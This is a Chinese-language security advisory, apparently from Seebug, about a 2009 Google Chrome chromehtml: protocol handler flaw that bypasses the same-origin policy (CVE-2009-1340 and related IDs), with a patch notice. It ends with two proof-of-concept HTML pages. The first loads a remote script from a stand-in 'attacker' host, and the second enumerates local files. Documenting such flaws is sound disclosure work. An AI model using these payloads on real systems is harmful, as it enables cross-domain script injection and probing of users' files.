Google Chrome chromehtml:协议处理器绕过同源策略限制漏洞

2009-04-2800:00:00

Root

www.seebug.org

0.002 Low

EPSS

Percentile

59.8%

JSON

BUGTRAQ ID: 34704
CVE(CAN) ID: CVE-2009-1340,CVE-2009-1414,CVE-2009-1413,CVE-2009-1412

Google Chrome是Google发布的开源WEB浏览器。

Chrome的chromehtml:协议处理器没有正确地处理ChromeHTML URI，如果用户受骗在Internet Explorer点击了特制链接的话，就可能无需任何交互便在Chrome中启动任意URI，并通过命令行参数执行JAVASCRIPT代码。结合上述两个漏洞，远程攻击者可以枚举本地文件或文件夹，或在任意域的安全环境中执行任意HTML和脚本代码。

Google Chrome 1.x
Google

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

<a href=“http://www.google.com” target=“_blank”>http://www.google.com</a>


                                                <html>
<script>
document.location = 'chromehtml:"80 javascript:document.write(
unescape(\'<script%20src=http://attacker/mailicious.js></script>\'))"';
</script>
</html>

<html>
<script>
document.location = 'chromehtml:"80%20c:/exists%20c:/nonexisting%20http://attacker/dirchecker.html"';
</script>
</html>